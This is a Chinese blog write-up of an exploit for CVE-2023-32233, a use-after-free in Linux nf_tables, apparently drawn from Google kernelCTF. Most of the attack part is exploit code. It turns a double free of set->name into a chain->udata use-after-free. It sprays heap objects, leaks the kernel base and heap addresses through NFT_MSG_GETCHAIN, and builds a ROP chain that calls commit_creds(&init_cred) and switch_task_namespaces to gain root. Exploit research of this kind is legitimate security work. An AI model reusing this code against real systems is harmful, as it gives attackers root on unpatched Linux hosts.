这是对前文的补充,增加一种漏洞利用方案的分析,前文地址:

https://www.cnblogs.com/hac425/p/17967844/cve202332233-vulnerability-analysis-and-utilization-qrjoh

前文的漏洞利用的策略是通过占位 set 让 ext 指针错位,从而越界销毁相邻的 expr 实现任意地址读写。

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
}

本文的思路则是利用 NFT_MSG_DELSET 来使用 UAF 的 set,实现 set->name 的 double free.

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return; for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]); set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // set->name double free
kvfree(set);
} static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
break;

具体的步骤如下:

  1. 创建 匿名 set (pwn_lookup_set)
  2. 创建 rule 其中包含一个 lookup expr,该 expr 引用 pwn_lookup_set
  3. 下发 netlink 批处理请求,批处理中有两个请求:NFT_MSG_DELRULE、NFT_MSG_DELSET
  4. nft_commit_release 处理 NFT_MSG_DELRULE 删除 rule 和 lookup expr,同时会释放 pwn_lookup_set
  5. nft_commit_release 处理 NFT_MSG_DELSET 时就会引用已经释放的 pwn_lookup_set,尝试再次释放 set.

在 4-5 之间使用另一个 set (race_set)占位,内核执行完 5 后, race_set 和 race_set->name 的内存就会被释放,漏洞就转换为 race_set 的 UAF

​​​​​​

控制 race_set 的 name 长度可以获取 dyn-kmalloc-256 的 UAF,堆喷 race_set 控制 name 的代码如下

    for (int spray = 0; spray != 0x20; ++ spray) {
char *set_name;
asprintf(&set_name, "race_set_%0200hx", spray); // 分配 209 大小的 set_name
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
}

为了获取方便的内存读写能力,使用 chain->udata 占位 set->name,然后释放 set 就能实现 chain->udata 的 uaf,分配 udata 的代码如下:

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
... if (nla[NFTA_CHAIN_USERDATA]) {
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
if (chain->udata == NULL) {
err = -ENOMEM;
goto err_destroy_chain;
}
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
}

堆喷 chain->udata 占位的相关代码:

    for(int i = 0 ; i < 0x20; i++){
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
pwn_create_leak_chain(batch, seq++, chain_name);
}

之后通过 NFT_MSG_GETCHAIN 就能读取 chain->udata 的数据,找一个有指针的对象占位 udata,就能泄露内核地址,这边使用的是 nft_rule 结构体:

rule 结构中的优点如下:

  • list 指针指向堆喷的相邻 rule,通过它可以泄露相邻堆块的地址,然后结合堆喷可以在相应地址上伪造数据。
  • rule 里面会内嵌 expr, expr 里面的 ops 指针保存了 KO 的地址,可以用来计算 gadget 的地址
  • rule 结构体占用的内存大小用户态可以控制

rule 占位后通过 NFT_MSG_GETCHAIN 通过 chain->udata 读出对象的数据,泄露相关地址:

        struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETCHAIN,
NFPROTO_INET,
NLM_F_ACK,
seq
); char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
} memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer)); mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;

泄露出堆地址和内核代码地址后,再利用 chain->udata 来伪造 rule 结构和 nft_counter expr

最后 NFT_MSG_DELRULE 触发 expr->ops->deactivate​ 的调用进入 ROP

void make_payload_rop(uint64_t* data){
int i = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() // find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID; // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES; // commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS; data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}

总结

struct rule 这种结构体中同时存在链表指针、内核镜像/ko地址 的对象是用于地址泄露非常理想的对象,可以同时泄露出堆地址和代码段地址,一般堆地址可能还可以通过内核逻辑进行占位从而控制数据,实现在内核特定地址中布置数据的功能,这个能力对于伪造内核对象来说是非常重要的功能。

对于桌面端内核漏洞 (ubuntu 有 ns 权限) 利用而言,netlink 里面的这些对象可以很方便的辅助漏洞利用。

参考

  1. https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md

CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析的更多相关文章

  1. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  2. Google 云计算中的 GFS 体系结构

          google 公司的很多业务具有数据量巨大的特点,为此,google 公司研发了云计算技术.google 云计 算结构中的 google 文件系统是其云计算技术中的三大法宝之一.本文主要介 ...

  3. 关于Google Chorme中字体小于12px的问题

    问题:当字体大小设置成小于12px时,Google chrome中字体的大小始终显示为12px. 而其他浏览器则没有这个问题. 这时只需要在要改变字体大小的元素中添加 -webkit-transfor ...

  4. Google Chrome中的高性能网络 (三)

    使用预连接优化了TCP连接管理 已经预解析到了主机名,也有了由OmniBox和Chrome Predictor提供信号,预示着用户未来的操作.为什么再进一步连接到目标主机,在用户真正发起请求前完成TC ...

  5. 如何在google test中指定只运行一部分测试

    博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:如何在google test中指定只运行一部分测试.

  6. google chrome中如何删除一条输入网址提示

    在google chrome中网站栏输入字母的时候会出现网址的提示,如下图: 之前遇到个问题,不知道之前打错了www.baidu.com为wwww.baidu.com(也会跳转到百度)导致一输入“w” ...

  7. 如何在Google Map中处理大量标记(ASP.NET)(转)

    如何在Google Map中处理大量标记(ASP.NET)(原创-翻译) Posted on 2010-07-29 22:04 Happy Coding 阅读(8827) 评论(8) 编辑 收藏 在你 ...

  8. Google搜索中的突变XSS-JavaScript Library Introduced XSS Flaw in Google Search

    前言2018年9月26日,开源Closure库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交,删除了部分输入过滤.据推测,这是因为开发人员在用户界面设计方面出现了问题.但此次提交的开发人 ...

  9. Excel与Google Sheets中实现线性规划求解

    很久没更新过APS系列文章了,这段时间项目工作确实非常紧,所以只能抽点时间学习一下运筹学的入门知识,算是为以后的APS项目积累点基础.看了一些运筹学的书(都是科普级别的)发现原来我目前面对的很多排产. ...

  10. Android技巧分享——如何用电脑下载在Google play中应用的apk文件

    [Android技巧分享系列] 1.Android技巧分享——让官方模拟器和genymotion虚拟机飞起来 2.Android技巧分享——如何用电脑下载在Google play中应用的apk文件 G ...

随机推荐

  1. RabbitMQ——死信队列介绍和应用

    死信和死信队列的概念 什么是死信?简单来说就是无法被消费和处理的消息.一般生产者将消息投递到broker或者queue,消费者直接从中取出消息进行消费.但有时因为某些原因导致消息不能被消费,导致消息积 ...

  2. Nacos 配置加密

    Nacos 配置加密 nacos配置加密官网 官网介绍太简单,而且GitHub 网络受限,随缘访问.Gitee 发现有镜像仓库,同步的最新版本 Gitee nacos 镜像仓库 但是官网中提到的加密插 ...

  3. 【赵渝强老师】MySQL的闪回

    MySQL DBA或开发人员,有时会误删或者误更新数据,如果是线上环境并且影响较大,就需要能快速回滚.传统恢复方法是利用备份重搭实例,再应用去除错误sql后的binlog来恢复数据.此法费时费力,甚至 ...

  4. 【赵渝强老师】使用kubeadmin部署K8s集群

    首先,我们来看一下整体的架构. K8s的部署方式: yum方式部署 二进制包:手动使用tar包来部署 minikube:单机版,用于开发测试. kubeadm:可以把kubeadmin看成一个部署工具 ...

  5. ajax发送 put和delete请求

    AJAX发送 PUT和DELETE请求(转载)    转自:https://blog.csdn.net/liuyuanjiang109/article/details/78972644 ajax使用r ...

  6. Android :安卓学习笔记之 Handler机制 的简单理解和使用

    目录 Handler机制 1.Handler使用的引出 2.背景和定义 3.作用和意义 4.主要参数 5.工作原理及流程 5.1.对应关系 6.深入分析 Handler机制源码 6.1.Handler ...

  7. flops, params = profile(model, inputs=(x,))计算

    计算量:FLOPs,FLOP时指浮点运算次数,s是指秒,即每秒浮点运算次数的意思,考量一个网络模型的计算量的标准.参数量:Params,是指网络模型中需要训练的参数总数. flops(G) = flo ...

  8. iOS程序执行顺序和UIViewController的生命周期

    一.程序的执行顺序 启动程序 --- -[AppDelegate application:didFinishLaunchingWithOptions:] ---   --- -[AppDelegate ...

  9. Android复习(三)清单文件中的元素——>uses-feature

    <uses-feature> Google Play 会利用应用清单中声明的 <uses-feature> 元素,从不符合应用硬件和软件功能要求的设备上过滤该应用. 通过指定应 ...

  10. 云原生周刊:DevOps-resources

    推荐一个 GitHub 仓库 "DevOps-resources".这个 GitHub 仓库包含了学习和实践 DevOps 所需的资源列表.它包括涉及云计算.容器化.微服务.自动化 ...